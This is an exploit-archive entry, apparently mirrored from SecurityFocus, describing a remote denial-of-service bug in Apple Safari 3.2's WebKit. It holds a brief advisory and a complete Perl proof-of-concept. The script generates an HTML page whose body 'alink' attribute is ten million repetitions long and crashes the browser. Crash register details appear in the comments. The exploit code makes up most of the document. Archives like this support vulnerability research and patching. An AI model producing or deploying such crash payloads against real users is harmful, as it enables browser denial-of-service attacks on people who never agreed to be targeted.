Apple Safari 3.2 WebKit 'alink' Property Memory Leak Remote Denial of Service Vulnerability (1)

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Apple Safari 3.2 WebKit 'alink' Property Memory Leak Remote Denial of Service Vulnerabilit


                                                source: http://www.securityfocus.com/bid/33080/info

Apple Safari is prone to a denial-of-service vulnerability that resides in the WebKit library.

Remote attackers can exploit this issue to crash the affected browser, denial-of-service condition.

Apple Safari 3.2 running on Microsoft Windows Vista is vulnerable; other versions running on different platforms may also be affected.

Note (December 20, 2010): Safari on iOS 4.0.1 is also vulnerable.

#!/usr/bin/perl
# safari_webkit_ml.pl
# Safari (Webkit) 3.2 Remote Memory Leak Exploit
# Jeremy Brown [[email protected]/jbrownsec.blogspot.com]
# Access violation when writing to [00000018]
# EIP 6B00A02B WebKit.6B00A02B
# LastError 00000008 ERROR_NOT_ENOUGH_MEMORY
# Memory leaks are common in browsers.. tested on Vista SP1
# Compliments of bf2

$filename = $ARGV[0];
if(!defined($filename))
{

     print &#34;Usage: $0 &#60;filename.html&#62;\n&#34;;

}

$head = &#34;&#60;html&#62;&#34; . &#34;\n&#34;;
$trig = &#34;&#60;body alink=\&#34;&#34; . &#34;A/&#34; x 10000000 . &#34;\&#34;&#62;&#34; . &#34;\n&#34;;
$foot = &#34;&#60;/html&#62;&#34;;

$data = $head . $trig . $foot;

     open(FILE, &#39;&#62;&#39; . $filename);
     print FILE $data;
     close(FILE);

exit;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1